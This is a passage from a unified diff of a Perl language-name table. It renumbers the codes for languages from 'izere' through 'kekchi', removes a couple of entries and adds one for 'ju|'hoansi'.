+      q(1852),
       q(0),
       ],
    q(iyojwa'ja chorote) => [
-      q(1854),
+      q(1855),
       q(0),
       ],
    q(izere) => [
-      q(3034),
+      q(3037),
       q(0),
       ],
    q(izii) => [
-      q(3035),
+      q(3038),
       q(0),
       ],
    q(izon) => [
-      q(2928),
+      q(2931),
       q(0),
       ],
    q(izora) => [
-      q(1667),
+      q(1668),
       q(0),
       ],
    q(jabuti) => [
-      q(3062),
+      q(3065),
       q(0),
       ],
    q(jad) => [
-      q(3067),
+      q(3070),
       q(0),
       ],
    q(jadgali) => [
-      q(3068),
+      q(3071),
       q(0),
       ],
    q(jah hut) => [
-      q(3042),
+      q(3045),
       q(0),
       ],
    q(jahanka) => [
-      q(3039),
+      q(3042),
       q(0),
       ],
    q(jair awyu) => [
-      q(0981),
+      q(0982),
       q(0),
       ],
    q(jaitmatang) => [
-      q(7351),
+      q(7354),
       q(0),
       ],
    q(jakalteko) => [
-      q(3038),
+      q(3041),
       q(1),
       ],
    q(jakati) => [
-      q(3051),
+      q(3054),
       q(0),
       ],
    q(jakun) => [
-      q(3044),
+      q(3047),
       q(0),
       ],
    q(jalapa de diaz mazatec) => [
-      q(4110),
+      q(4111),
       q(0),
       ],
    q(jalkunan) => [
-      q(1576),
+      q(1577),
       q(0),
       ],
    q(jamaican country sign language) => [
-      q(3065),
+      q(3068),
       q(0),
       ],
    q(jamaican creole english) => [
-      q(3046),
+      q(3049),
       q(0),
       ],
    q(jamaican sign language) => [
-      q(3112),
+      q(3114),
       q(0),
       ],
    q(jamamadi) => [
-      q(3036),
+      q(3039),
       q(0),
       ],
    q(jambi malay) => [
-      q(3053),
+      q(3056),
       q(0),
       ],
    q(jamiltepec mixtec) => [
-      q(4658),
+      q(4659),
       q(0),
       ],
    q(jamsay dogon) => [
-      q(2060),
+      q(2061),
       q(0),
       ],
    q(jandai) => [
-      q(3047),
+      q(3050),
       q(0),
       ],
    q(jandavra) => [
-      q(3125),
+      q(3127),
       q(0),
       ],
    q(jangkang) => [
-      q(2062),
+      q(2063),
       q(0),
       ],
    q(jangshung) => [
-      q(3124),
+      q(3126),
       q(0),
       ],
    q(janji) => [
-      q(3127),
+      q(3129),
       q(0),
       ],
    q(japanese) => [
-      q(0205),
+      q(0206),
       q(0),
       ],
    q(japanese (family)) => [
-      q(0514),
+      q(0515),
       q(0),
       ],
    q(japanese sign language) => [
-      q(3143),
+      q(3145),
       q(0),
       ],
    q(japreria) => [
-      q(3142),
+      q(3144),
       q(0),
       ],
    q(jaqaru) => [
-      q(3138),
+      q(3140),
       q(0),
       ],
    q(jara) => [
-      q(3041),
+      q(3044),
       q(0),
       ],
    q(jarai) => [
-      q(3139),
+      q(3141),
       q(0),
       ],
    q(jarawa (india)) => [
-      q(0804),
+      q(0805),
       q(0),
       ],
    q(jaru) => [
-      q(1976),
+      q(1977),
       q(0),
       ],
    q(jauja wanca quechua) => [
-      q(5722),
+      q(5724),
       q(0),
       ],
    q(jaunsari) => [
-      q(3130),
+      q(3132),
       q(0),
       ],
    q(javanese) => [
-      q(0203),
+      q(0204),
       q(0),
       ],
    q(javindo) => [
-      q(3162),
+      q(3164),
       q(0),
       ],
    q(jawe) => [
-      q(3055),
+      q(3058),
       q(0),
       ],
    q(jaya) => [
-      q(3167),
+      q(3169),
       q(0),
       ],
    q(jebero) => [
-      q(3070),
+      q(3073),
       q(0),
       ],
    q(jeh) => [
-      q(3073),
+      q(3075),
       q(0),
       ],
    q(jehai) => [
-      q(3085),
+      q(3087),
       q(0),
       ],
    q(jejueo) => [
-      q(3103),
+      q(3105),
       q(0),
       ],
    q(jemez) => [
@@ -35693,31 +35731,27 @@
       q(0),
       ],
    q(jenaama bozo) => [
-      q(1615),
+      q(1616),
       q(0),
       ],
-   q(jeng) => [
-      q(3072),
-      q(0),
-      ],
    q(jennu kurumba) => [
-      q(7516),
+      q(7519),
       q(0),
       ],
    q(jere) => [
-      q(3078),
+      q(3080),
       q(0),
       ],
    q(jeri kuo) => [
-      q(3075),
+      q(3077),
       q(0),
       ],
    q(jerriais) => [
-      q(5044),
+      q(5048),
       q(0),
       ],
    q(jerung) => [
-      q(3071),
+      q(3074),
       q(0),
       ],
    q(jewish babylonian aramaic (ca. 200-1200 ce)) => [
@@ -35725,127 +35759,127 @@
       q(0),
       ],
    q(jewish palestinian aramaic) => [
-      q(3137),
+      q(3139),
       q(0),
       ],
    q(jhankot sign language) => [
-      q(3086),
+      q(3088),
       q(0),
       ],
    q(jiamao) => [
-      q(3097),
+      q(3099),
       q(0),
       ],
    q(jiarong) => [
-      q(3165),
+      q(3167),
       q(0),
       ],
    q(jiba) => [
-      q(3154),
+      q(3156),
       q(0),
       ],
    q(jibu) => [
-      q(3088),
+      q(3090),
       q(0),
       ],
    q(jicarilla apache) => [
-      q(0842),
+      q(0843),
       q(0),
       ],
    q(jiiddu) => [
-      q(3094),
+      q(3096),
       q(0),
       ],
    q(jilbe) => [
-      q(3091),
+      q(3093),
       q(0),
       ],
    q(jilim) => [
-      q(3095),
+      q(3097),
       q(0),
       ],
    q(jimi (cameroon)) => [
-      q(3096),
+      q(3098),
       q(0),
       ],
    q(jimi (nigeria)) => [
-      q(3117),
+      q(3119),
       q(0),
       ],
    q(jina) => [
-      q(3087),
+      q(3089),
       q(0),
       ],
    q(jingpho) => [
-      q(0210),
+      q(0211),
       q(1),
       ],
    q(jinyu chinese) => [
-      q(1750),
+      q(1751),
       q(0),
       ],
    q(jiongnai bunu) => [
-      q(5540),
+      q(5544),
       q(0),
       ],
    q(jirel) => [
-      q(3151),
+      q(3153),
       q(0),
       ],
    q(jiru) => [
-      q(3140),
+      q(3142),
       q(0),
       ],
    q(jita) => [
-      q(3099),
+      q(3101),
       q(0),
       ],
    q(jju) => [
-      q(3174),
+      q(3176),
       q(0),
       ],
    q(joba) => [
-      q(3131),
+      q(3133),
       q(0),
       ],
    q(jofotek-bromnya) => [
-      q(3061),
+      q(3064),
       q(0),
       ],
    q(jogi) => [
-      q(3133),
+      q(3135),
       q(0),
       ],
    q(jola-fonyi) => [
-      q(2200),
+      q(2201),
       q(0),
       ],
    q(jola-kasa) => [
-      q(1869),
+      q(1870),
       q(0),
       ],
    q(jonkor bourmataguil) => [
-      q(3080),
+      q(3082),
       q(0),
       ],
    q(jora) => [
-      q(3134),
+      q(3136),
       q(0),
       ],
    q(jordanian sign language) => [
-      q(3135),
+      q(3137),
       q(0),
       ],
    q(jorto) => [
-      q(3141),
+      q(3143),
       q(0),
       ],
    q(jowulu) => [
-      q(3136),
+      q(3138),
       q(0),
       ],
    q(ju) => [
-      q(3159),
+      q(3161),
       q(0),
       ],
    q(ju/'hoan) => [
@@ -35853,51 +35887,51 @@
       q(0),
       ],
    q(juang) => [
-      q(3153),
+      q(3155),
       q(0),
       ],
    q(judeo-arabic) => [
-      q(0207),
+      q(0208),
       q(0),
       ],
    q(judeo-berber) => [
-      q(3056),
+      q(3059),
       q(0),
       ],
    q(judeo-georgian) => [
-      q(3082),
+      q(3084),
       q(0),
       ],
    q(judeo-iraqi arabic) => [
-      q(7625),
+      q(7628),
       q(0),
       ],
    q(judeo-italian) => [
-      q(3009),
+      q(3012),
       q(0),
       ],
    q(judeo-moroccan arabic) => [
-      q(0719),
+      q(0720),
       q(0),
       ],
    q(judeo-persian) => [
-      q(0206),
+      q(0207),
       q(0),
       ],
    q(judeo-tat) => [
-      q(3069),
+      q(3072),
       q(0),
       ],
    q(judeo-tripolitanian arabic) => [
-      q(7747),
+      q(7750),
       q(0),
       ],
    q(judeo-tunisian arabic) => [
-      q(0718),
+      q(0719),
       q(0),
       ],
    q(judeo-yemeni arabic) => [
-      q(3166),
+      q(3168),
       q(0),
       ],
    q(juhoan) => [
@@ -35905,71 +35939,75 @@
       q(1),
       ],
    q(jukun takum) => [
-      q(3063),
+      q(3066),
       q(0),
       ],
    q(juma) => [
-      q(3144),
+      q(3146),
       q(0),
       ],
    q(jumjum) => [
-      q(3152),
+      q(3154),
       q(0),
       ],
    q(jumla sign language) => [
-      q(3157),
+      q(3159),
       q(0),
       ],
    q(jumli) => [
-      q(3118),
+      q(3120),
       q(0),
       ],
    q(jungle inga) => [
-      q(2966),
+      q(2969),
       q(0),
       ],
    q(juquila mixe) => [
-      q(4655),
+      q(4656),
       q(0),
       ],
    q(jur modo) => [
-      q(1133),
+      q(1134),
       q(0),
       ],
    q(juray) => [
-      q(3161),
+      q(3163),
       q(0),
       ],
    q(jurchen) => [
-      q(3146),
+      q(3148),
       q(0),
       ],
    q(juruna) => [
-      q(3156),
+      q(3158),
       q(0),
       ],
    q(jutish) => [
-      q(3158),
+      q(3160),
       q(0),
       ],
    q(juwal) => [
-      q(4618),
+      q(4619),
       q(0),
       ],
    q(juxtlahuaca mixtec) => [
-      q(7004),
+      q(7005),
       q(0),
       ],
+   q(ju|'hoansi) => [
+      q(3639),
+      q(2),
+      ],
    q(jwira-pepesa) => [
-      q(3164),
+      q(3166),
       q(0),
       ],
    q(k'iche') => [
-      q(5670),
+      q(5672),
       q(0),
       ],
    q(kaamba) => [
-      q(7370),
+      q(7373),
       q(0),
       ],
    q(kaan) => [
@@ -35977,19 +36015,19 @@
       q(0),
       ],
    q(kaang chin) => [
-      q(1754),
+      q(1755),
       q(0),
       ],
    q(kaansa) => [
-      q(2563),
+      q(2565),
       q(0),
       ],
    q(kaapor) => [
-      q(6911),
+      q(6912),
       q(1),
       ],
    q(kaapor sign language) => [
-      q(6870),
+      q(6871),
       q(1),
       ],
    q(kaba) => [
@@ -36001,23 +36039,23 @@
       q(0),
       ],
    q(kabardian) => [
-      q(0219),
+      q(0220),
       q(0),
       ],
    q(kabatei) => [
-      q(7365),
+      q(7368),
       q(0),
       ],
    q(kabiye) => [
-      q(3195),
+      q(3197),
       q(0),
       ],
    q(kabola) => [
-      q(3450),
+      q(3451),
       q(0),
       ],
    q(kabore one) => [
-      q(5264),
+      q(5268),
       q(0),
       ],
    q(kabras) => [
@@ -36029,51 +36067,51 @@
       q(0),
       ],
    q(kabutra) => [
-      q(3200),
+      q(3202),
       q(0),
       ],
    q(kabuverdianu) => [
-      q(3254),
+      q(3256),
       q(0),
       ],
    q(kabwa) => [
-      q(1917),
+      q(1918),
       q(0),
       ],
    q(kabwari) => [
-      q(3228),
+      q(3230),
       q(0),
       ],
    q(kabyle) => [
-      q(0209),
+      q(0210),
       q(0),
       ],
    q(kachama-ganjule) => [
-      q(3229),
+      q(3231),
       q(0),
       ],
    q(kachari) => [
-      q(7259),
+      q(7261),
       q(0),
       ],
    q(kachhi) => [
-      q(3297),
+      q(3299),
       q(0),
       ],
    q(kachi koli) => [
-      q(2528),
+      q(2530),
       q(0),
       ],
    q(kachin) => [
-      q(0210),
+      q(0211),
       q(0),
       ],
    q(kacipo-balesi) => [
-      q(3504),
+      q(3505),
       q(0),
       ],
    q(kaco') => [
-      q(7361),
+      q(7364),
       q(0),
       ],
    q(kadai) => [
@@ -36081,23 +36119,23 @@
       q(0),
       ],
    q(kadar) => [
-      q(3263),
+      q(3265),
       q(0),
       ],
    q(kadaru) => [
-      q(3249),
+      q(3251),
       q(0),
       ],
    q(kadazan dusun) => [
-      q(2158),
+      q(2159),
       q(0),
       ],
    q(kadiweu) => [
-      q(3184),
+      q(3186),
       q(0),
       ],
    q(kadu) => [
-      q(7842),
+      q(7845),
       q(0),
       ],
    q(kaduo) => [
@@ -36105,51 +36143,51 @@
       q(0),
       ],
    q(kaera) => [
-      q(3105),
+      q(3107),
       q(0),
       ],
    q(kafa) => [
-      q(3197),
+      q(3199),
       q(0),
       ],
    q(kafoa) => [
-      q(3537),
+      q(3538),
       q(0),
       ],
    q(kagan kalagan) => [
-      q(3436),
+      q(3437),
       q(0),
       ],
    q(kagate) => [
-      q(6333),
+      q(6332),
       q(0),
       ],
    q(kagayanen) => [
-      q(1712),
+      q(1713),
       q(0),
       ],
    q(kagoma) => [
-      q(3243),
+      q(3245),
       q(0),
       ],
    q(kagoro) => [
-      q(7358),
+      q(7361),
       q(0),
       ],
    q(kagulu) => [
-      q(3407),
+      q(3408),
       q(0),
       ],
    q(kahe) => [
-      q(2762),
+      q(2764),
       q(0),
       ],
    q(kahua) => [
-      q(0673),
+      q(0674),
       q(0),
       ],
    q(kaian) => [
-      q(3225),
+      q(3227),
       q(0),
       ],
    q(kaibobo) => [
@@ -36161,15 +36199,15 @@
       q(0),
       ],
    q(kaiep) => [
-      q(3202),
+      q(3204),
       q(0),
       ],
    q(kaikadi) => [
-      q(3269),
+      q(3271),
       q(0),
       ],
    q(kaikavian literary language) => [
-      q(3395),
+      q(3396),
       q(0),
       ],
    q(kaike) => [
@@ -36177,23 +36215,23 @@
       q(0),
       ],
    q(kaiku) => [
-      q(3415),
+      q(3416),
       q(0),
       ],
    q(kaimbe) => [
-      q(7263),
+      q(7265),
       q(0),
       ],
    q(kaimbulawa) => [
-      q(7840),
+      q(7843),
       q(0),
       ],
    q(kaingang) => [
-      q(3319),
+      q(3320),
       q(0),
       ],
    q(kairak) => [
-      q(1757),
+      q(1758),
       q(0),
       ],
    q(kairiru) => [
@@ -36201,7 +36239,7 @@
       q(0),
       ],
    q(kairui-midiki) => [
-      q(3571),
+      q(3572),
       q(0),
       ],
    q(kais) => [
@@ -36209,11 +36247,11 @@
       q(0),
       ],
    q(kaivi) => [
-      q(3210),
+      q(3212),
       q(0),
       ],
    q(kaiwa) => [
-      q(3314),
+      q(3315),
       q(0),
       ],
    q(kaiy) => [
@@ -36221,27 +36259,27 @@
       q(0),
       ],
    q(kajakse) => [
-      q(1756),
+      q(1757),
       q(0),
       ],
    q(kajali) => [
-      q(7360),
+      q(7363),
       q(0),
       ],
    q(kajaman) => [
-      q(3171),
+      q(3173),
       q(0),
       ],
    q(kakabai) => [
-      q(3548),
+      q(3549),
       q(0),
       ],
    q(kakabe) => [
-      q(3403),
+      q(3404),
       q(0),
       ],
    q(kakanda) => [
-      q(3399),
+      q(3400),
       q(0),
       ],
    q(kaki ae) => [
@@ -36249,23 +36287,23 @@
       q(0),
       ],
    q(kako) => [
-      q(3408),
+      q(3409),
       q(0),
       ],
    q(kakwa) => [
-      q(3268),
+      q(3270),
       q(0),
       ],
    q(kala) => [
-      q(3217),
+      q(3219),
       q(1),
       ],
    q(kala lagaw ya) => [
-      q(4629),
+      q(4630),
       q(0),
       ],
    q(kalaallisut) => [
-      q(0211),
+      q(0212),
       q(0),
       ],
    q(kalaamaya) => [
@@ -36277,7 +36315,7 @@
       q(0),
       ],
    q(kalabari) => [
-      q(2931),
+      q(2934),
       q(0),
       ],
    q(kalabra) => [
@@ -36285,39 +36323,39 @@
       q(0),
       ],
    q(kalagan) => [
-      q(3547),
+      q(3548),
       q(0),
       ],
    q(kalaktang monpa) => [
-      q(3404),
+      q(3405),
       q(0),
       ],
    q(kalam) => [
-      q(3457),
+      q(3458),
       q(0),
       ],
    q(kalami) => [
-      q(2676),
+      q(2678),
       q(0),
       ],
    q(kalamse) => [
-      q(3500),
+      q(3501),
       q(0),
       ],
    q(kalanadi) => [
-      q(7132),
+      q(7134),
       q(0),
       ],
    q(kalanga) => [
-      q(3216),
+      q(3218),
       q(0),
       ],
    q(kalanguya) => [
-      q(3175),
+      q(3177),
       q(0),
       ],
    q(kalao) => [
-      q(3449),
+      q(3450),
       q(0),
       ],
    q(kalapuya) => [
@@ -36325,23 +36363,23 @@
       q(0),
       ],
    q(kalarko) => [
-      q(3182),
+      q(3184),
       q(0),
       ],
    q(kalasha) => [
-      q(3443),
+      q(3444),
       q(0),
       ],
    q(kalenjin) => [
-      q(3438),
+      q(3439),
       q(0),
       ],
    q(kalispel-pend d'oreille) => [
-      q(2349),
+      q(2350),
       q(0),
       ],
    q(kalkoti) => [
-      q(7352),
+      q(7355),
       q(0),
       ],
    q(kalkutung) => [
@@ -36349,51 +36387,51 @@
       q(0),
       ],
    q(kalmyk) => [
-      q(0470),
+      q(0471),
       q(0),
       ],
    q(kalo finnish romani) => [
-      q(5799),
+      q(5800),
       q(0),
       ],
    q(kalou) => [
-      q(7767),
+      q(7770),
       q(0),
       ],
    q(kaluli) => [
-      q(1078),
+      q(1079),
       q(0),
       ],
    q(kalumpang) => [
-      q(3433),
+      q(3434),
       q(0),
       ],
    q(kam) => [
-      q(3251),
+      q(3253),
       q(0),
       ],
    q(kamakan) => [
-      q(6995),
+      q(6996),
       q(0),
       ],
    q(kamang) => [
-      q(7187),
+      q(7189),
       q(0),
       ],
    q(kamano) => [
-      q(3196),
+      q(3198),
       q(0),
       ],
    q(kamantan) => [
-      q(3214),
+      q(3216),
       q(0),
       ],
    q(kamar) => [
-      q(3270),
+      q(3272),
       q(0),
       ],
    q(kamara) => [
-      q(3120),
+      q(3122),
       q(0),
       ],
    q(kamarian) => [
@@ -36401,19 +36439,19 @@
       q(0),
       ],
    q(kamaru) => [
-      q(3327),
+      q(3328),
       q(0),
       ],
    q(kamas) => [
-      q(7272),
+      q(7274),
       q(0),
       ],
    q(kamasa) => [
-      q(3440),
+      q(3441),
       q(0),
       ],
    q(kamasau) => [
-      q(3468),
+      q(3469),
       q(0),
       ],
    q(kamayo) => [
@@ -36421,15 +36459,15 @@
       q(0),
       ],
    q(kamayura) => [
-      q(3181),
+      q(3183),
       q(0),
       ],
    q(kamba) => [
-      q(0212),
+      q(0213),
       q(0),
       ],
    q(kamba (kenya)) => [
-      q(0212),
+      q(0213),
       q(1),
       ],
    q(kambaata) => [
@@ -36441,91 +36479,91 @@
       q(0),
       ],
    q(kambera) => [
-      q(7289),
+      q(7291),
       q(0),
       ],
    q(kamberau) => [
-      q(2989),
+      q(2992),
       q(0),
       ],
    q(kambiwa) => [
-      q(7290),
+      q(7292),
       q(0),
       ],
    q(kami (nigeria)) => [
-      q(3458),
+      q(3459),
       q(0),
       ],
    q(kami (tanzania)) => [
-      q(3226),
+      q(3228),
       q(0),
       ],
    q(kamo) => [
-      q(3222),
+      q(3224),
       q(0),
       ],
    q(kamoro) => [
-      q(3320),
+      q(3321),
       q(0),
       ],
    q(kamta) => [
-      q(5792),
+      q(5793),
       q(1),
       ],
    q(kamu) => [
-      q(7408),
+      q(7411),
       q(0),
       ],
    q(kamula) => [
-      q(7376),
+      q(7379),
       q(0),
       ],
    q(kamviri) => [
-      q(7526),
+      q(7529),
       q(0),
       ],
    q(kamwe) => [
-      q(2752),
+      q(2754),
       q(0),
       ],
    q(kanakanabu) => [
-      q(7415),
+      q(7418),
       q(0),
       ],
    q(kanamari) => [
-      q(3487),
+      q(3488),
       q(0),
       ],
    q(kanan) => [
-      q(7846),
+      q(7849),
       q(0),
       ],
    q(kanashi) => [
-      q(7423),
+      q(7426),
       q(0),
       ],
    q(kanasi) => [
-      q(6159),
+      q(6158),
       q(0),
       ],
    q(kanauji) => [
-      q(1238),
+      q(1239),
       q(0),
       ],
    q(kandas) => [
-      q(3565),
+      q(3566),
       q(0),
       ],
    q(kandawo) => [
-      q(2406),
+      q(2407),
       q(0),
       ],
    q(kande) => [
-      q(3198),
+      q(3200),
       q(0),
       ],
    q(kanembu) => [
-      q(3191),
+      q(3193),
       q(0),
       ],
    q(kang) => [
@@ -36533,15 +36571,15 @@
       q(0),
       ],
    q(kanga) => [
-      q(3221),
+      q(3223),
       q(0),
       ],
    q(kangean) => [
-      q(3420),
+      q(3421),
       q(0),
       ],
    q(kanggape) => [
-      q(2918),
+      q(2921),
       q(0),
       ],
    q(kangjia) => [
@@ -36557,7 +36595,7 @@
       q(0),
       ],
    q(kangri) => [
-      q(7422),
+      q(7425),
       q(0),
       ],
    q(kaniet) => [
@@ -36565,11 +36603,11 @@
       q(0),
       ],
    q(kanikkaran) => [
-      q(3275),
+      q(3277),
       q(0),
       ],
    q(kaningdon-nindem) => [
-      q(3245),
+      q(3247),
       q(0),
       ],
    q(kaningi) => [
@@ -36577,39 +36615,39 @@
       q(0),
       ],
    q(kaningra) => [
-      q(3492),
+      q(3493),
       q(0),
       ],
    q(kaninuwa) => [
-      q(7055),
+      q(7056),
       q(0),
       ],
    q(kanite) => [
-      q(3470),
+      q(3471),
       q(0),
       ],
    q(kanjari) => [
-      q(3299),
+      q(3301),
       q(0),
       ],
    q(kanjobal) => [
-      q(3375),
+      q(3376),
       q(1),
       ],
    q(kanju) => [
-      q(3185),
+      q(3187),
       q(0),
       ],
    q(kankanaey) => [
-      q(3480),
+      q(3481),
       q(0),
       ],
    q(kannada) => [
-      q(0213),
+      q(0214),
       q(0),
       ],
    q(kannada kurumba) => [
-      q(3288),
+      q(3290),
       q(0),
       ],
    q(kanoe) => [
@@ -36625,43 +36663,43 @@
       q(0),
       ],
    q(kantosi) => [
-      q(7369),
+      q(7372),
       q(0),
       ],
    q(kanu) => [
-      q(3348),
+      q(3349),
       q(0),
       ],
    q(kanufi) => [
-      q(3483),
+      q(3484),
       q(0),
       ],
    q(kanuri) => [
-      q(0216),
+      q(0217),
       q(0),
       ],
    q(kanyok) => [
-      q(3499),
+      q(3500),
       q(0),
       ],
    q(kao) => [
-      q(3180),
+      q(3182),
       q(0),
       ],
    q(kaonde) => [
-      q(3556),
+      q(3557),
       q(0),
       ],
    q(kap) => [
-      q(7651),
+      q(7654),
       q(0),
       ],
    q(kapampangan) => [
-      q(0337),
+      q(0338),
       q(1),
       ],
    q(kapauri) => [
-      q(3340),
+      q(3341),
       q(1),
       ],
    q(kapin) => [
@@ -36669,39 +36707,39 @@
       q(0),
       ],
    q(kapinawa) => [
-      q(7447),
+      q(7450),
       q(0),
       ],
    q(kapingamarangi) => [
-      q(3524),
+      q(3525),
       q(0),
       ],
    q(kapori) => [
-      q(3340),
+      q(3341),
       q(0),
       ],
    q(kapriman) => [
-      q(2064),
+      q(2065),
       q(0),
       ],
    q(kaptiau) => [
-      q(3188),
+      q(3190),
       q(0),
       ],
    q(kapya) => [
-      q(3439),
+      q(3440),
       q(0),
       ],
    q(kaqchikel) => [
-      q(1645),
+      q(1646),
       q(0),
       ],
    q(kara (central african republic)) => [
-      q(3172),
+      q(3174),
       q(0),
       ],
    q(kara (korea)) => [
-      q(7923),
+      q(7926),
       q(0),
       ],
    q(kara (papua new guinea)) => [
@@ -36709,43 +36747,43 @@
       q(0),
       ],
    q(kara (tanzania)) => [
-      q(5756),
+      q(5758),
       q(0),
       ],
    q(kara-kalpak) => [
-      q(0208),
+      q(0209),
       q(0),
       ],
    q(karachay-balkar) => [
-      q(0234),
+      q(0235),
       q(0),
       ],
    q(karadjeri) => [
-      q(2419),
+      q(2420),
       q(0),
       ],
    q(karagas) => [
-      q(3362),
+      q(3363),
       q(0),
       ],
    q(karaim) => [
-      q(3247),
+      q(3249),
       q(0),
       ],
    q(karaja) => [
-      q(3527),
+      q(3528),
       q(0),
       ],
    q(karakhanid) => [
-      q(7456),
+      q(7459),
       q(0),
       ],
    q(karami) => [
-      q(7271),
+      q(7273),
       q(0),
       ],
    q(karamojong) => [
-      q(3240),
+      q(3242),
       q(0),
       ],
    q(karang) => [
@@ -36757,7 +36795,7 @@
       q(0),
       ],
    q(karankawa) => [
-      q(7845),
+      q(7848),
       q(0),
       ],
    q(karao) => [
@@ -36765,43 +36803,43 @@
       q(0),
       ],
    q(karas) => [
-      q(3325),
+      q(3326),
       q(0),
       ],
    q(karata) => [
-      q(3536),
+      q(3537),
       q(0),
       ],
    q(karawa) => [
-      q(7470),
+      q(7473),
       q(0),
       ],
    q(karbi) => [
-      q(4332),
+      q(4333),
       q(0),
       ],
    q(kare (central african republic)) => [
-      q(3193),
+      q(3195),
       q(0),
       ],
    q(kare (papua new guinea)) => [
-      q(3455),
+      q(3456),
       q(0),
       ],
    q(karekare) => [
-      q(3173),
+      q(3175),
       q(0),
       ],
    q(karelian) => [
-      q(0235),
+      q(0236),
       q(0),
       ],
    q(karen languages) => [
-      q(0214),
+      q(0215),
       q(0),
       ],
    q(karenggapa) => [
-      q(2207),
+      q(2208),
       q(0),
       ],
    q(karey) => [
@@ -36809,19 +36847,19 @@
       q(0),
       ],
    q(kari) => [
-      q(3189),
+      q(3191),
       q(0),
       ],
    q(karingani) => [
-      q(3317),
+      q(3318),
       q(0),
       ],
    q(karipuna) => [
-      q(3316),
+      q(3317),
       q(0),
       ],
    q(karipuna creole french) => [
-      q(3471),
+      q(3472),
       q(0),
       ],
    q(kariri-xoco) => [
@@ -36833,31 +36871,31 @@
       q(0),
       ],
    q(kariya) => [
-      q(3361),
+      q(3362),
       q(0),
       ],
    q(kariyarra) => [
-      q(6990),
+      q(6991),
       q(0),
       ],
    q(karkar-yuri) => [
-      q(7752),
+      q(7755),
       q(0),
       ],
    q(karkin) => [
-      q(3570),
+      q(3571),
       q(0),
       ],
    q(karko) => [
-      q(3413),
+      q(3414),
       q(0),
       ],
    q(karnai) => [
-      q(1059),
+      q(1060),
       q(0),
       ],
    q(karo (brazil)) => [
-      q(0878),
+      q(0879),
       q(0),
       ],
    q(karo (ethiopia)) => [
@@ -36873,15 +36911,15 @@
       q(0),
       ],
    q(karon dori) => [
-      q(3326),
+      q(3327),
       q(0),
       ],
    q(karore) => [
-      q(7373),
+      q(7376),
       q(0),
       ],
    q(karranga) => [
-      q(7466),
+      q(7469),
       q(0),
       ],
    q(karuwali) => [
@@ -36889,23 +36927,23 @@
       q(0),
       ],
    q(kasanga) => [
-      q(1682),
+      q(1683),
       q(0),
       ],
    q(kasem) => [
-      q(7479),
+      q(7482),
       q(0),
       ],
    q(kashaya) => [
-      q(3394),
+      q(3395),
       q(0),
       ],
    q(kashmiri) => [
-      q(0215),
+      q(0216),
       q(0),
       ],
    q(kashubian) => [
-      q(0099),
+      q(0100),
       q(0),
       ],
    q(kasiguranin) => [
@@ -36913,27 +36951,23 @@
       q(0),
       ],
    q(kaska) => [
-      q(3424),
+      q(3425),
       q(0),
       ],
    q(kaskean) => [
-      q(7930),
+      q(7933),
       q(0),
       ],
    q(kasua) => [
-      q(3343),
+      q(3344),
       q(0),
       ],
-   q(kataang) => [
-      q(3308),
-      q(0),
-      ],
    q(katabaga) => [
       q(3631),
       q(0),
       ],
    q(katawixi) => [
-      q(7273),
+      q(7275),
       q(0),
       ],
    q(katbol) => [
@@ -36941,11 +36975,11 @@
       q(0),
       ],
    q(katcha-kadugli-miri) => [
-      q(7491),
+      q(7494),
       q(0),
       ],
    q(kate) => [
-      q(3456),
+      q(3457),
       q(0),
       ],
    q(kathoriya tharu) => [
@@ -36953,19 +36987,19 @@
       q(0),
       ],
    q(kathu) => [
-      q(7655),
+      q(7658),
       q(0),
       ],
    q(kati) => [
-      q(1452),
+      q(1453),
       q(0),
       ],
    q(katkari) => [
-      q(3300),
+      q(3302),
       q(0),
       ],
    q(katla) => [
-      q(3223),
+      q(3225),
       q(0),
       ],
    q(kato) => [
@@ -36973,7 +37007,7 @@
       q(0),
       ],
    q(katso) => [
-      q(3170),
+      q(3172),
       q(0),
       ],
    q(katua) => [
@@ -36981,31 +37015,31 @@
       q(0),
       ],
    q(katukina) => [
-      q(3179),
+      q(3181),
       q(0),
       ],
    q(kaulong) => [
-      q(5612),
+      q(5615),
       q(0),
       ],
    q(kaur) => [
-      q(6993),
+      q(6994),
       q(0),
       ],
    q(kaure) => [
-      q(1386),
+      q(1387),
       q(0),
       ],
    q(kaurna) => [
-      q(7851),
+      q(7854),
       q(0),
       ],
    q(kauwera) => [
-      q(7274),
+      q(7276),
       q(0),
       ],
    q(kavalan) => [
-      q(1761),
+      q(1762),
       q(0),
       ],
    q(kavet) => [
@@ -37013,19 +37047,19 @@
       q(0),
       ],
    q(kawacha) => [
-      q(3207),
+      q(3209),
       q(0),
       ],
    q(kawaiisu) => [
-      q(7276),
+      q(7278),
       q(0),
       ],
    q(kawe) => [
-      q(3307),
+      q(3309),
       q(0),
       ],
    q(kawi) => [
-      q(0217),
+      q(0218),
       q(0),
       ],
    q(kaxarari) => [
@@ -37033,7 +37067,7 @@
       q(0),
       ],
    q(kaxuiana) => [
-      q(3183),
+      q(3185),
       q(0),
       ],
    q(kayabi) => [
@@ -37045,19 +37079,19 @@
       q(0),
       ],
    q(kayan) => [
-      q(5395),
+      q(5399),
       q(0),
       ],
    q(kayan mahakam) => [
-      q(7277),
+      q(7279),
       q(0),
       ],
    q(kayan river kayan) => [
-      q(7363),
+      q(7366),
       q(0),
       ],
    q(kayapa kallahan) => [
-      q(3175),
+      q(3177),
       q(1),
       ],
    q(kayapo) => [
@@ -37065,7 +37099,7 @@
       q(0),
       ],
    q(kayardild) => [
-      q(2692),
+      q(2694),
       q(0),
       ],
    q(kayaw) => [
@@ -37085,7 +37119,7 @@
       q(0),
       ],
    q(kaytetye) => [
-      q(2418),
+      q(2419),
       q(0),
       ],
    q(kayupulau) => [
@@ -37093,7 +37127,7 @@
       q(0),
       ],
    q(kazakh) => [
-      q(0218),
+      q(0219),
       q(0),
       ],
    q(kazukuru) => [
@@ -37101,19 +37135,19 @@
       q(0),
       ],
    q(ke'o) => [
-      q(7543),
+      q(7546),
       q(0),
       ],
    q(keak) => [
-      q(3261),
+      q(3263),
       q(0),
       ],
    q(keapara) => [
-      q(3350),
+      q(3351),
       q(0),
       ],
    q(kedah malay) => [
-      q(4205),
+      q(4206),
       q(0),
       ],
    q(kedang) => [
@@ -37121,43 +37155,43 @@
       q(0),
       ],
    q(keder) => [
-      q(3252),
+      q(3254),
       q(0),
       ],
    q(kehu) => [
-      q(3335),
+      q(3336),
       q(0),
       ],
    q(kei) => [
-      q(3262),
+      q(3264),
       q(0),
       ],
    q(keiga) => [
-      q(3256),
+      q(3258),
       q(0),
       ],
    q(keijar) => [
-      q(3252),
+      q(3254),
       q(1),
       ],
    q(kein) => [
-      q(1309),
+      q(1310),
       q(0),
       ],
    q(keiyo) => [
-      q(2315),
+      q(2316),
       q(0),
       ],
    q(kekchi) => [
